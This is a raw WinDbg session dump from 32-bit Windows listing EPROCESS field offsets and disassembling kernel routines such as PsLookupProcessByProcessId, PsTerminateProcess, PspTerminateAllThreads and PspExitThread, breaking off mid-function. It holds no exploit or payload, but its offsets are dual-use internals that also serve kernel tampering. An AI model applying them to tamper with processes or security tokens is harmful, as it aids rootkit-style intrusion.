   +0x0d8 CpuQuotaBlock    : Ptr32 _PS_CPU_QUOTA_BLOCK

   +0x0dc PeakVirtualSize  : Uint4B

   +0x0e0 VirtualSize      : Uint4B

   +0x0e4 SessionProcessLinks : _LIST_ENTRY

   +0x0ec DebugPort        : Ptr32 Void

   +0x0f0 ExceptionPortData : Ptr32 Void

   +0x0f0 ExceptionPortValue : Uint4B

   +0x0f0 ExceptionPortState : Pos 0, 3 Bits

   +0x0f4 ObjectTable      : Ptr32 _HANDLE_TABLE

   +0x0f8 Token            : _EX_FAST_REF

   +0x0fc WorkingSetPage   : Uint4B

   +0x100 AddressCreationLock : _EX_PUSH_LOCK

   +0x104 RotateInProgress : Ptr32 _ETHREAD

   +0x108 ForkInProgress   : Ptr32 _ETHREAD

   +0x10c HardwareTrigger  : Uint4B

   +0x110 PhysicalVadRoot  : Ptr32 _MM_AVL_TABLE

   +0x114 CloneRoot        : Ptr32 Void

   +0x118 NumberOfPrivatePages : Uint4B

   +0x11c NumberOfLockedPages : Uint4B

   +0x120 Win32Process     : Ptr32 Void

   +0x124 Job              : Ptr32 _EJOB

   +0x128 SectionObject    : Ptr32 Void

   +0x12c SectionBaseAddress : Ptr32 Void

   +0x130 Cookie           : Uint4B

   +0x134 Spare8           : Uint4B

   +0x138 WorkingSetWatch  : Ptr32 _PAGEFAULT_HISTORY

   +0x13c Win32WindowStation : Ptr32 Void

   +0x140 InheritedFromUniqueProcessId : Ptr32 Void

   +0x144 LdtInformation   : Ptr32 Void

   +0x148 VdmObjects       : Ptr32 Void

   +0x14c ConsoleHostProcess : Uint4B

   +0x150 DeviceMap        : Ptr32 Void

   +0x154 EtwDataSource    : Ptr32 Void

   +0x158 FreeTebHint      : Ptr32 Void

   +0x160 PageDirectoryPte : _HARDWARE_PTE

   +0x160 Filler           : Uint8B

   +0x168 Session          : Ptr32 Void

   +0x16c ImageFileName    : [15] UChar

   +0x17b PriorityClass    : UChar

   +0x17c JobLinks         : _LIST_ENTRY

   +0x184 LockedPagesList  : Ptr32 Void

   +0x188 ThreadListHead   : _LIST_ENTRY

   +0x190 SecurityPort     : Ptr32 Void

   +0x194 PaeTop           : Ptr32 Void

   +0x198 ActiveThreads    : Uint4B

   +0x19c ImagePathHash    : Uint4B

   +0x1a0 DefaultHardErrorProcessing : Uint4B

   +0x1a4 LastThreadExitStatus : Int4B

   +0x1a8 Peb              : Ptr32 _PEB

   +0x1ac PrefetchTrace    : _EX_FAST_REF

   +0x1b0 ReadOperationCount : _LARGE_INTEGER

   +0x1b8 WriteOperationCount : _LARGE_INTEGER

   +0x1c0 OtherOperationCount : _LARGE_INTEGER

   +0x1c8 ReadTransferCount : _LARGE_INTEGER

   +0x1d0 WriteTransferCount : _LARGE_INTEGER

   +0x1d8 OtherTransferCount : _LARGE_INTEGER

   +0x1e0 CommitChargeLimit : Uint4B

   +0x1e4 CommitChargePeak : Uint4B

   +0x1e8 AweInfo          : Ptr32 Void

   +0x1ec SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFO

   +0x1f0 Vm               : _MMSUPPORT

   +0x25c MmProcessLinks   : _LIST_ENTRY

   +0x264 HighestUserAddress : Ptr32 Void

   +0x268 ModifiedPageCount : Uint4B

   +0x26c Flags2           : Uint4B

   +0x26c JobNotReallyActive : Pos 0, 1 Bit

   +0x26c AccountingFolded : Pos 1, 1 Bit

   +0x26c NewProcessReported : Pos 2, 1 Bit

   +0x26c ExitProcessReported : Pos 3, 1 Bit

   +0x26c ReportCommitChanges : Pos 4, 1 Bit

   +0x26c LastReportMemory : Pos 5, 1 Bit

   +0x26c ReportPhysicalPageChanges : Pos 6, 1 Bit

   +0x26c HandleTableRundown : Pos 7, 1 Bit

   +0x26c NeedsHandleRundown : Pos 8, 1 Bit

   +0x26c RefTraceEnabled  : Pos 9, 1 Bit

   +0x26c NumaAware        : Pos 10, 1 Bit

   +0x26c ProtectedProcess : Pos 11, 1 Bit

   +0x26c DefaultPagePriority : Pos 12, 3 Bits

   +0x26c PrimaryTokenFrozen : Pos 15, 1 Bit

   +0x26c ProcessVerifierTarget : Pos 16, 1 Bit

   +0x26c StackRandomizationDisabled : Pos 17, 1 Bit

   +0x26c AffinityPermanent : Pos 18, 1 Bit

   +0x26c AffinityUpdateEnable : Pos 19, 1 Bit

   +0x26c PropagateNode    : Pos 20, 1 Bit

   +0x26c ExplicitAffinity : Pos 21, 1 Bit

   +0x270 Flags            : Uint4B

   +0x270 CreateReported   : Pos 0, 1 Bit

   +0x270 NoDebugInherit   : Pos 1, 1 Bit

   +0x270 ProcessExiting   : Pos 2, 1 Bit

   +0x270 ProcessDelete    : Pos 3, 1 Bit

   +0x270 Wow64SplitPages  : Pos 4, 1 Bit

   +0x270 VmDeleted        : Pos 5, 1 Bit

   +0x270 OutswapEnabled   : Pos 6, 1 Bit

   +0x270 Outswapped       : Pos 7, 1 Bit

   +0x270 ForkFailed       : Pos 8, 1 Bit

   +0x270 Wow64VaSpace4Gb  : Pos 9, 1 Bit

   +0x270 AddressSpaceInitialized : Pos 10, 2 Bits

   +0x270 SetTimerResolution : Pos 12, 1 Bit

   +0x270 BreakOnTermination : Pos 13, 1 Bit

   +0x270 DeprioritizeViews : Pos 14, 1 Bit

   +0x270 WriteWatch       : Pos 15, 1 Bit

   +0x270 ProcessInSession : Pos 16, 1 Bit

   +0x270 OverrideAddressSpace : Pos 17, 1 Bit

   +0x270 HasAddressSpace  : Pos 18, 1 Bit

   +0x270 LaunchPrefetched : Pos 19, 1 Bit

   +0x270 InjectInpageErrors : Pos 20, 1 Bit

   +0x270 VmTopDown        : Pos 21, 1 Bit

   +0x270 ImageNotifyDone  : Pos 22, 1 Bit

   +0x270 PdeUpdateNeeded  : Pos 23, 1 Bit

   +0x270 VdmAllowed       : Pos 24, 1 Bit

   +0x270 CrossSessionCreate : Pos 25, 1 Bit

   +0x270 ProcessInserted  : Pos 26, 1 Bit

   +0x270 DefaultIoPriority : Pos 27, 3 Bits

   +0x270 ProcessSelfDelete : Pos 30, 1 Bit

   +0x270 SetTimerResolutionLink : Pos 31, 1 Bit

   +0x274 ExitStatus       : Int4B

   +0x278 VadRoot          : _MM_AVL_TABLE

   +0x298 AlpcContext      : _ALPC_PROCESS_CONTEXT

   +0x2a8 TimerResolutionLink : _LIST_ENTRY

   +0x2b0 RequestedTimerResolution : Uint4B

   +0x2b4 ActiveThreadsHighWatermark : Uint4B

   +0x2b8 SmallestTimerResolution : Uint4B

   +0x2bc TimerResolutionStackRecord : Ptr32 _PO_DIAG_STACK_RECORD

kd> u PsLookupProcessByProcessId l50

nt!PsLookupProcessByProcessId:

84072575 8bff            mov     edi,edi

84072577 55              push    ebp

84072578 8bec            mov     ebp,esp

8407257a 83ec0c          sub     esp,0Ch

8407257d 53              push    ebx

8407257e 56              push    esi

8407257f 648b3524010000  mov     esi,dword ptr fs:[124h]

84072586 33db            xor     ebx,ebx

84072588 66ff8e84000000  dec     word ptr [esi+84h]

8407258f 57              push    edi

84072590 ff7508          push    dword ptr [ebp+8]

84072593 8b3d348ff583    mov     edi,dword ptr [nt!PspCidTable (83f58f34)]

84072599 e8d958feff      call    nt!ExMapHandleToPointer (84057e77)

8407259e 8bf8            mov     edi,eax

840725a0 85ff            test    edi,edi

840725a2 747c            je      nt!PsLookupProcessByProcessId+0xab (84072620)

840725a4 8b1f            mov     ebx,dword ptr [edi]

840725a6 8a03            mov     al,byte ptr [ebx]

840725a8 247f            and     al,7Fh

840725aa 3c03            cmp     al,3

840725ac 750b            jne     nt!PsLookupProcessByProcessId+0x44 (840725b9)

840725ae 8bd3            mov     edx,ebx

840725b0 e83d8ee3ff      call    nt!ObReferenceObjectSafe (83eab3f2)

840725b5 84c0            test    al,al

840725b7 7502            jne     nt!PsLookupProcessByProcessId+0x46 (840725bb)

840725b9 33db            xor     ebx,ebx

840725bb a1348ff583      mov     eax,dword ptr [nt!PspCidTable (83f58f34)]

840725c0 33c9            xor     ecx,ecx

840725c2 41              inc     ecx

840725c3 f0090f          lock or dword ptr [edi],ecx

840725c6 8d4818          lea     ecx,[eax+18h]

840725c9 8745fc          xchg    eax,dword ptr [ebp-4]

840725cc 833900          cmp     dword ptr [ecx],0

840725cf 7407            je      nt!PsLookupProcessByProcessId+0x63 (840725d8)

840725d1 33d2            xor     edx,edx

840725d3 e85913e4ff      call    nt!ExfUnblockPushLock (83eb3931)

840725d8 85db            test    ebx,ebx

840725da 7444            je      nt!PsLookupProcessByProcessId+0xab (84072620)

840725dc f7837002000000000004 test dword ptr [ebx+270h],4000000h

840725e6 7538            jne     nt!PsLookupProcessByProcessId+0xab (84072620)

840725e8 8dbb98000000    lea     edi,[ebx+98h]

840725ee 8745f8          xchg    eax,dword ptr [ebp-8]

840725f1 8b0f            mov     ecx,dword ptr [edi]

840725f3 83e101          and     ecx,1

840725f6 8745f4          xchg    eax,dword ptr [ebp-0Ch]

840725f9 85c9            test    ecx,ecx

840725fb 740e            je      nt!PsLookupProcessByProcessId+0x96 (8407260b)

840725fd 8bcf            mov     ecx,edi

840725ff e88965e3ff      call    nt!ExfAcquirePushLockExclusive (83ea8b8d)

84072604 8bcf            mov     ecx,edi

84072606 e8a691ebff      call    nt!ExfReleasePushLockExclusive (83f2b7b1)

8407260b f7837002000000000004 test dword ptr [ebx+270h],4000000h

84072615 7509            jne     nt!PsLookupProcessByProcessId+0xab (84072620)

84072617 8bcb            mov     ecx,ebx

84072619 e8a5c6e1ff      call    nt!ObfDereferenceObject (83e8ecc3)

8407261e 33db            xor     ebx,ebx

84072620 66ff8684000000  inc     word ptr [esi+84h]

84072627 0fb78684000000  movzx   eax,word ptr [esi+84h]

8407262e 6685c0          test    ax,ax

84072631 7516            jne     nt!PsLookupProcessByProcessId+0xd4 (84072649)

84072633 8d4640          lea     eax,[esi+40h]

84072636 3900            cmp     dword ptr [eax],eax

84072638 740f            je      nt!PsLookupProcessByProcessId+0xd4 (84072649)

8407263a 6683be8600000000 cmp     word ptr [esi+86h],0

84072642 7505            jne     nt!PsLookupProcessByProcessId+0xd4 (84072649)

84072644 e850bedcff      call    nt!KiCheckForKernelApcDelivery (83e3e499)

84072649 85db            test    ebx,ebx

8407264b 7409            je      nt!PsLookupProcessByProcessId+0xe1 (84072656)

8407264d 8b450c          mov     eax,dword ptr [ebp+0Ch]

84072650 8918            mov     dword ptr [eax],ebx

84072652 33c0            xor     eax,eax

84072654 eb05            jmp     nt!PsLookupProcessByProcessId+0xe6 (8407265b)

84072656 b80b0000c0      mov     eax,0C000000Bh

8407265b 5f              pop     edi

8407265c 5e              pop     esi

8407265d 5b              pop     ebx

8407265e c9              leave

8407265f c20800          ret     8

84072662 90              nop

84072663 90              nop

kd> u PsTerminateProcess l50

nt!PsTerminateProcess:

840ab8d9 8bff            mov     edi,edi

840ab8db 55              push    ebp

840ab8dc 8bec            mov     ebp,esp

840ab8de 51              push    ecx

840ab8df 51              push    ecx

840ab8e0 53              push    ebx

840ab8e1 56              push    esi

840ab8e2 648b3524010000  mov     esi,dword ptr fs:[124h]

840ab8e9 66ff8e84000000  dec     word ptr [esi+84h]

840ab8f0 57              push    edi

840ab8f1 c745fc01000000  mov     dword ptr [ebp-4],1

840ab8f8 6a08            push    8

840ab8fa 5a              pop     edx

840ab8fb 8db970020000    lea     edi,[ecx+270h]

840ab901 8b07            mov     eax,dword ptr [edi]

840ab903 8bd8            mov     ebx,eax

840ab905 0bda            or      ebx,edx

840ab907 f00fb11f        lock cmpxchg dword ptr [edi],ebx

840ab90b 75f6            jne     nt!PsTerminateProcess+0x2a (840ab903)

840ab90d 84c2            test    dl,al

840ab90f 7409            je      nt!PsTerminateProcess+0x41 (840ab91a)

840ab911 c745fc03000000  mov     dword ptr [ebp-4],3

840ab918 eb0e            jmp     nt!PsTerminateProcess+0x4f (840ab928)

840ab91a a900000040      test    eax,40000000h

840ab91f 7407            je      nt!PsTerminateProcess+0x4f (840ab928)

840ab921 c745fc05000000  mov     dword ptr [ebp-4],5

840ab928 ff75fc          push    dword ptr [ebp-4]

840ab92b ff7508          push    dword ptr [ebp+8]

840ab92e 56              push    esi

840ab92f 51              push    ecx

840ab930 e8bca2fcff      call    nt!PspTerminateAllThreads (84075bf1)

840ab935 8bf8            mov     edi,eax

840ab937 66ff8684000000  inc     word ptr [esi+84h]

840ab93e 0fb78684000000  movzx   eax,word ptr [esi+84h]

840ab945 6685c0          test    ax,ax

840ab948 7516            jne     nt!PsTerminateProcess+0x87 (840ab960)

840ab94a 8d4640          lea     eax,[esi+40h]

840ab94d 3900            cmp     dword ptr [eax],eax

840ab94f 740f            je      nt!PsTerminateProcess+0x87 (840ab960)

840ab951 6683be8600000000 cmp     word ptr [esi+86h],0

840ab959 7505            jne     nt!PsTerminateProcess+0x87 (840ab960)

840ab95b e8395bd9ff      call    nt!KiCheckForKernelApcDelivery (83e41499)

840ab960 8bc7            mov     eax,edi

840ab962 5f              pop     edi

840ab963 5e              pop     esi

840ab964 5b              pop     ebx

840ab965 c9              leave

840ab966 c20400          ret     4

kd> u PspTerminateAllThreads l100

nt!PspTerminateAllThreads:

84075bf1 8bff            mov     edi,edi

84075bf3 55              push    ebp

84075bf4 8bec            mov     ebp,esp

84075bf6 83ec14          sub     esp,14h

84075bf9 53              push    ebx

84075bfa 56              push    esi

84075bfb 57              push    edi

84075bfc 8b7d08          mov     edi,dword ptr [ebp+8]

84075bff f7877002000000200000 test dword ptr [edi+270h],2000h

84075c09 7413            je      nt!PspTerminateAllThreads+0x2d (84075c1e)

84075c0b 8d876c010000    lea     eax,[edi+16Ch]

84075c11 50              push    eax

84075c12 68f02c0384      push    offset nt! ?? ::NNGAKEGL::`string' (84032cf0)

84075c17 8bf7            mov     esi,edi

84075c19 e8d6230800      call    nt!PspCatchCriticalBreak (840f7ff4)

84075c1e 8b450c          mov     eax,dword ptr [ebp+0Ch]

84075c21 8b4050          mov     eax,dword ptr [eax+50h]

84075c24 8945f0          mov     dword ptr [ebp-10h],eax

84075c27 6a00            push    0

84075c29 8bc7            mov     eax,edi

84075c2b c745fc22010000  mov     dword ptr [ebp-4],122h

84075c32 e8ed7f0100      call    nt!PspGetPreviousProcessThread (8408dc24)

84075c37 8b5d14          mov     ebx,dword ptr [ebp+14h]

84075c3a 8bf0            mov     esi,eax

84075c3c 8b4514          mov     eax,dword ptr [ebp+14h]

84075c3f 83e001          and     eax,1

84075c42 d1eb            shr     ebx,1

84075c44 03c0            add     eax,eax

84075c46 83e301          and     ebx,1

84075c49 0bd8            or      ebx,eax

84075c4b 8b4508          mov     eax,dword ptr [ebp+8]

84075c4e 83e0f8          and     eax,0FFFFFFF8h

84075c51 0bd8            or      ebx,eax

84075c53 8b4514          mov     eax,dword ptr [ebp+14h]

84075c56 83e004          and     eax,4

84075c59 0bd8            or      ebx,eax

84075c5b 85f6            test    esi,esi

84075c5d 0f8425010000    je      nt!PspTerminateAllThreads+0x197 (84075d88)

84075c63 8365fc00        and     dword ptr [ebp-4],0

84075c67 8bce            mov     ecx,esi

84075c69 f6c301          test    bl,1

84075c6c 0f85f6000000    jne     nt!PspTerminateAllThreads+0x177 (84075d68)

84075c72 8975f4          mov     dword ptr [ebp-0Ch],esi

84075c75 e87adce1ff      call    nt!ObfReferenceObject (83e938f4)

84075c7a 3b750c          cmp     esi,dword ptr [ebp+0Ch]

84075c7d 747f            je      nt!PspTerminateAllThreads+0x10d (84075cfe)

84075c7f f6c304          test    bl,4

84075c82 7551            jne     nt!PspTerminateAllThreads+0xe4 (84075cd5)

84075c84 8d8670020000    lea     eax,[esi+270h]

84075c8a 8b10            mov     edx,dword ptr [eax]

84075c8c 83e2fe          and     edx,0FFFFFFFEh

84075c8f 8bf8            mov     edi,eax

84075c91 8d4a02          lea     ecx,[edx+2]

84075c94 8bc2            mov     eax,edx

84075c96 f00fb10f        lock cmpxchg dword ptr [edi],ecx

84075c9a 3bc2            cmp     eax,edx

84075c9c 742f            je      nt!PspTerminateAllThreads+0xdc (84075ccd)

84075c9e 8d8e70020000    lea     ecx,[esi+270h]

84075ca4 e8a1cae3ff      call    nt!ExfAcquireRundownProtection (83eb274a)

84075ca9 84c0            test    al,al

84075cab 7520            jne     nt!PspTerminateAllThreads+0xdc (84075ccd)

84075cad 8d8680020000    lea     eax,[esi+280h]

84075cb3 f00fba2810      lock bts dword ptr [eax],10h

84075cb8 0f92c0          setb    al

84075cbb 0fb6c0          movzx   eax,al

84075cbe c1e004          shl     eax,4

84075cc1 33c3            xor     eax,ebx

84075cc3 83e010          and     eax,10h

84075cc6 33d8            xor     ebx,eax

84075cc8 83e3f7          and     ebx,0FFFFFFF7h

84075ccb eb03            jmp     nt!PspTerminateAllThreads+0xdf (84075cd0)

84075ccd 83cb08          or      ebx,8

84075cd0 8b7d08          mov     edi,dword ptr [ebp+8]

84075cd3 eb19            jmp     nt!PspTerminateAllThreads+0xfd (84075cee)

84075cd5 8b8684020000    mov     eax,dword ptr [esi+284h]

84075cdb 33c9            xor     ecx,ecx

84075cdd 2480            and     al,80h

84075cdf 3c80            cmp     al,80h

84075ce1 0f94c1          sete    cl

84075ce4 c1e103          shl     ecx,3

84075ce7 33cb            xor     ecx,ebx

84075ce9 83e108          and     ecx,8

84075cec 33d9            xor     ebx,ecx

84075cee f6c308          test    bl,8

84075cf1 740b            je      nt!PspTerminateAllThreads+0x10d (84075cfe)

84075cf3 6a00            push    0

84075cf5 ff7510          push    dword ptr [ebp+10h]

84075cf8 56              push    esi

84075cf9 e8e932ffff      call    nt!PspTerminateThreadByPointer (84068fe7)

84075cfe 56              push    esi

84075cff 8bc7            mov     eax,edi

84075d01 e81e7f0100      call    nt!PspGetPreviousProcessThread (8408dc24)

84075d06 8bf0            mov     esi,eax

84075d08 85f6            test    esi,esi

84075d0a 0f856affffff    jne     nt!PspTerminateAllThreads+0x89 (84075c7a)

84075d10 50              push    eax

84075d11 8bc7            mov     eax,edi

84075d13 e8d084fdff      call    nt!PsGetNextProcessThread (8404e1e8)

84075d18 8945f8          mov     dword ptr [ebp-8],eax

84075d1b 3b450c          cmp     eax,dword ptr [ebp+0Ch]

84075d1e 7435            je      nt!PspTerminateAllThreads+0x164 (84075d55)

84075d20 f6c304          test    bl,4

84075d23 7530            jne     nt!PspTerminateAllThreads+0x164 (84075d55)

84075d25 f7808002000000000100 test dword ptr [eax+280h],10000h

84075d2f 7524            jne     nt!PspTerminateAllThreads+0x164 (84075d55)

84075d31 8d8870020000    lea     ecx,[eax+270h]

84075d37 8b11            mov     edx,dword ptr [ecx]

84075d39 83e2fe          and     edx,0FFFFFFFEh

84075d3c 8d42fe          lea     eax,[edx-2]

84075d3f 8bf0            mov     esi,eax

84075d41 8bf9            mov     edi,ecx

84075d43 8bc2            mov     eax,edx

84075d45 f00fb137        lock cmpxchg dword ptr [edi],esi

84075d49 3bc2            cmp     eax,edx

84075d4b 7405            je      nt!PspTerminateAllThreads+0x161 (84075d52)

84075d4d e8b5cae3ff      call    nt!ExfReleaseRundownProtection (83eb2807)

84075d52 8b7d08          mov     edi,dword ptr [ebp+8]

84075d55 8b4df8          mov     ecx,dword ptr [ebp-8]

84075d58 3b4df4          cmp     ecx,dword ptr [ebp-0Ch]

84075d5b 7403            je      nt!PspTerminateAllThreads+0x16f (84075d60)

84075d5d 51              push    ecx

84075d5e ebb1            jmp     nt!PspTerminateAllThreads+0x120 (84075d11)

84075d60 e85ebfe1ff      call    nt!ObfDereferenceObject (83e91cc3)

84075d65 8b4df4          mov     ecx,dword ptr [ebp-0Ch]

84075d68 e856bfe1ff      call    nt!ObfDereferenceObject (83e91cc3)

84075d6d f6c302          test    bl,2

84075d70 7416            je      nt!PspTerminateAllThreads+0x197 (84075d88)

84075d72 8b450c          mov     eax,dword ptr [ebp+0Ch]

84075d75 39b850010000    cmp     dword ptr [eax+150h],edi

84075d7b 750b            jne     nt!PspTerminateAllThreads+0x197 (84075d88)

84075d7d 6a00            push    0

84075d7f ff7510          push    dword ptr [ebp+10h]

84075d82 50              push    eax

84075d83 e85f32ffff      call    nt!PspTerminateThreadByPointer (84068fe7)

84075d88 f6451408        test    byte ptr [ebp+14h],8

84075d8c 7421            je      nt!PspTerminateAllThreads+0x1be (84075daf)

84075d8e 8d8fb0000000    lea     ecx,[edi+0B0h]

84075d94 8b11            mov     edx,dword ptr [ecx]

84075d96 83e2fe          and     edx,0FFFFFFFEh

84075d99 8d42fe          lea     eax,[edx-2]

84075d9c 8bf0            mov     esi,eax

84075d9e 8bd9            mov     ebx,ecx

84075da0 8bc2            mov     eax,edx

84075da2 f00fb133        lock cmpxchg dword ptr [ebx],esi

84075da6 3bc2            cmp     eax,edx

84075da8 7405            je      nt!PspTerminateAllThreads+0x1be (84075daf)

84075daa e858cae3ff      call    nt!ExfReleaseRundownProtection (83eb2807)

84075daf 3b7df0          cmp     edi,dword ptr [ebp-10h]

84075db2 7411            je      nt!PspTerminateAllThreads+0x1d4 (84075dc5)

84075db4 817d1004000140  cmp     dword ptr [ebp+10h],40010004h

84075dbb 7508            jne     nt!PspTerminateAllThreads+0x1d4 (84075dc5)

84075dbd 6a00            push    0

84075dbf 57              push    edi

84075dc0 e87ad50200      call    nt!DbgkClearProcessDebugObject (840a333f)

84075dc5 817dfc22010000  cmp     dword ptr [ebp-4],122h

84075dcc 740e            je      nt!PspTerminateAllThreads+0x1eb (84075ddc)

84075dce 83bfec00000000  cmp     dword ptr [edi+0ECh],0

84075dd5 7410            je      nt!PspTerminateAllThreads+0x1f6 (84075de7)

84075dd7 3b7df0          cmp     edi,dword ptr [ebp-10h]

84075dda 740b            je      nt!PspTerminateAllThreads+0x1f6 (84075de7)

84075ddc 8bc7            mov     eax,edi

84075dde e8991f0800      call    nt!PspDoHandleSweepSingle (840f7d7c)

84075de3 8365fc00        and     dword ptr [ebp-4],0

84075de7 8b45fc          mov     eax,dword ptr [ebp-4]

84075dea 5f              pop     edi

84075deb 5e              pop     esi

84075dec 5b              pop     ebx

84075ded c9              leave

84075dee c21000          ret     10h

kd> u PspExitThread l210

nt!PspExitThread:

8408308a 6a4c            push    4Ch

8408308c 68c8fce683      push    offset nt! ?? ::FNODOBFM::`string'+0x3148 (83e6fcc8)

84083091 e8125be1ff      call    nt!_SEH_prolog4 (83e98ba8)

84083096 648b1d24010000  mov     ebx,dword ptr fs:[124h]

8408309d 895dc8          mov     dword ptr [ebp-38h],ebx

840830a0 8bbb50010000    mov     edi,dword ptr [ebx+150h]

840830a6 897ddc          mov     dword ptr [ebp-24h],edi

840830a9 8b4350          mov     eax,dword ptr [ebx+50h]

840830ac 3bf8            cmp     edi,eax

840830ae 7413            je      nt!PspExitThread+0x38 (840830c3)

840830b0 53              push    ebx

840830b1 0fb68b34010000  movzx   ecx,byte ptr [ebx+134h]

840830b8 51              push    ecx

840830b9 50              push    eax

840830ba 57              push    edi

840830bb 6a05            push    5

840830bd e8404ee7ff      call    nt!KeBugCheckEx (83ef7f02)

840830c2 cc              int     3

840830c3 32c9            xor     cl,cl

840830c5 ff1558a1e183    call    dword ptr [nt!_imp_KfLowerIrql (83e1a158)]

840830cb f6838402000001  test    byte ptr [ebx+284h],1

840830d2 740d            je      nt!PspExitThread+0x56 (840830e1)

840830d4 33c0            xor     eax,eax

840830d6 50              push    eax

840830d7 50              push    eax

840830d8 50              push    eax

840830d9 53              push    ebx

840830da 68e9000000      push    0E9h

840830df ebdc            jmp     nt!PspExitThread+0x33 (840830bd)

840830e1 8b8384000000    mov     eax,dword ptr [ebx+84h]

840830e7 85c0            test    eax,eax

840830e9 740b            je      nt!PspExitThread+0x6b (840830f6)

840830eb 6a01            push    1

840830ed 6a00            push    0

840830ef 50              push    eax

840830f0 6a00            push    0

840830f2 6a20            push    20h

840830f4 ebc7            jmp     nt!PspExitThread+0x33 (840830bd)

840830f6 8d8b70020000    lea     ecx,[ebx+270h]

840830fc 33d2            xor     edx,edx

840830fe 42              inc     edx

840830ff 8bf1            mov     esi,ecx

84083101 33c0            xor     eax,eax

84083103 f00fb116        lock cmpxchg dword ptr [esi],edx

84083107 85c0            test    eax,eax

84083109 740a            je      nt!PspExitThread+0x8a (84083115)

8408310b 83f801          cmp     eax,1

8408310e 7405            je      nt!PspExitThread+0x8a (84083115)

84083110 e8d4c2e5ff      call    nt!ExfWaitForRundownProtectionRelease (83edf3e9)

84083115 8db364020000    lea     esi,[ebx+264h]

8408311b 8b06            mov     eax,dword ptr [esi]

8408311d 85c0            test    eax,eax

8408311f 7409            je      nt!PspExitThread+0x9f (8408312a)

84083121 50              push    eax

84083122 e84d05faff      call    nt!PoDeletePowerRequest (84023674)

84083127 832600          and     dword ptr [esi],0

8408312a 6a00            push    0

8408312c 33c9            xor     ecx,ecx

8408312e 8bd3            mov     edx,ebx

84083130 e8d9d9ffff      call    nt!EtwTraceThread (84080b0e)

84083135 c645e300        mov     byte ptr [ebp-1Dh],0

84083139 8365d800        and     dword ptr [ebp-28h],0

8408313d 8b7508          mov     esi,dword ptr [ebp+8]

84083140 89b310020000    mov     dword ptr [ebx+210h],esi

84083146 66ff8b84000000  dec     word ptr [ebx+84h]

8408314d a178bbf583      mov     eax,dword ptr [nt!PspNotifyEnableMask (83f5bb78)]

84083152 a808            test    al,8

84083154 744a            je      nt!PspExitThread+0x115 (840831a0)

84083156 bfc0bbf583      mov     edi,offset nt!PspCreateThreadNotifyRoutine (83f5bbc0)

8408315b c745d440000000  mov     dword ptr [ebp-2Ch],40h

84083162 57              push    edi

84083163 e850500000      call    nt!ExReferenceCallBackBlock (840881b8)

84083168 8bf0            mov     esi,eax

8408316a 85f6            test    esi,esi

8408316c 7424            je      nt!PspExitThread+0x107 (84083192)

8408316e e8e0e2e4ff      call    nt!ExGetCallBackBlockRoutine (83ed1453)

84083173 6a00            push    0

84083175 ffb330020000    push    dword ptr [ebx+230h]

8408317b 8b8b50010000    mov     ecx,dword ptr [ebx+150h]

84083181 ffb1b4000000    push    dword ptr [ecx+0B4h]

84083187 ffd0            call    eax

84083189 8bce            mov     ecx,esi

8408318b 8bc7            mov     eax,edi

8408318d e85a510000      call    nt!ExDereferenceCallBackBlock (840882ec)

84083192 83c704          add     edi,4

84083195 ff4dd4          dec     dword ptr [ebp-2Ch]

84083198 75c8            jne     nt!PspExitThread+0xd7 (84083162)

8408319a 8b7ddc          mov     edi,dword ptr [ebp-24h]

8408319d 8b7508          mov     esi,dword ptr [ebp+8]

840831a0 8d8f98000000    lea     ecx,[edi+98h]

840831a6 8bc1            mov     eax,ecx

840831a8 f00fba2800      lock bts dword ptr [eax],0

840831ad 7305            jae     nt!PspExitThread+0x129 (840831b4)

840831af e8d989e2ff      call    nt!ExfAcquirePushLockExclusive (83eabb8d)

840831b4 8d8798010000    lea     eax,[edi+198h]

840831ba ff08            dec     dword ptr [eax]

840831bc 8b00            mov     eax,dword ptr [eax]

840831be 0f8515010000    jne     nt!PspExitThread+0x24e (840832d9)

840831c4 6a08            push    8

840831c6 58              pop     eax

840831c7 8d8f70020000    lea     ecx,[edi+270h]

840831cd f00901          lock or dword ptr [ecx],eax

840831d0 83c078          add     eax,78h

840831d3 8d8f6c020000    lea     ecx,[edi+26Ch]

840831d9 f00901          lock or dword ptr [ecx],eax

840831dc c645e301        mov     byte ptr [ebp-1Dh],1

840831e0 81fe4b0000c0    cmp     esi,0C000004Bh

840831e6 750e            jne     nt!PspExitThread+0x16b (840831f6)

840831e8 8b87a4010000    mov     eax,dword ptr [edi+1A4h]

840831ee 898774020000    mov     dword ptr [edi+274h],eax

840831f4 eb06            jmp     nt!PspExitThread+0x171 (840831fc)

840831f6 89b774020000    mov     dword ptr [edi+274h],esi

840831fc 8d8788010000    lea     eax,[edi+188h]

84083202 8b08            mov     ecx,dword ptr [eax]

84083204 894dd4          mov     dword ptr [ebp-2Ch],ecx

84083207 3bc8            cmp     ecx,eax

84083209 0f84d8000000    je      nt!PspExitThread+0x25c (840832e7)

8408320f 8b75d4          mov     esi,dword ptr [ebp-2Ch]

84083212 81c698fdffff    add     esi,0FFFFFD98h

84083218 3bf3            cmp     esi,ebx

8408321a 0f849e000000    je      nt!PspExitThread+0x233 (840832be)

84083220 807e0400        cmp     byte ptr [esi+4],0

84083224 0f8594000000    jne     nt!PspExitThread+0x233 (840832be)

8408322a 8bd6            mov     edx,esi

8408322c e8c1b1e2ff      call    nt!ObReferenceObjectSafe (83eae3f2)

84083231 84c0            test    al,al

84083233 0f8485000000    je      nt!PspExitThread+0x233 (840832be)

84083239 83c8ff          or      eax,0FFFFFFFFh

8408323c 8d8f98000000    lea     ecx,[edi+98h]

84083242 f00fc101        lock xadd dword ptr [ecx],eax

84083246 a802            test    al,2

84083248 740f            je      nt!PspExitThread+0x1ce (84083259)

8408324a a804            test    al,4

8408324c 750b            jne     nt!PspExitThread+0x1ce (84083259)

8408324e 8d8f98000000    lea     ecx,[edi+98h]

84083254 e8de8be5ff      call    nt!ExfTryToWakePushLock (83edbe37)

84083259 66ff8384000000  inc     word ptr [ebx+84h]

84083260 0fb78384000000  movzx   eax,word ptr [ebx+84h]

84083267 6685c0          test    ax,ax

8408326a 7516            jne     nt!PspExitThread+0x1f7 (84083282)

8408326c 8d4340          lea     eax,[ebx+40h]

8408326f 3900            cmp     dword ptr [eax],eax

84083271 740f            je      nt!PspExitThread+0x1f7 (84083282)

84083273 6683bb8600000000 cmp     word ptr [ebx+86h],0

8408327b 7505            jne     nt!PspExitThread+0x1f7 (84083282)

8408327d e817e2dbff      call    nt!KiCheckForKernelApcDelivery (83e41499)

84083282 33c0            xor     eax,eax

84083284 50              push    eax

84083285 50              push    eax

84083286 50              push    eax

84083287 50              push    eax

84083288 56              push    esi

84083289 e8aecae0ff      call    nt!KeWaitForSingleObject (83e8fd3c)

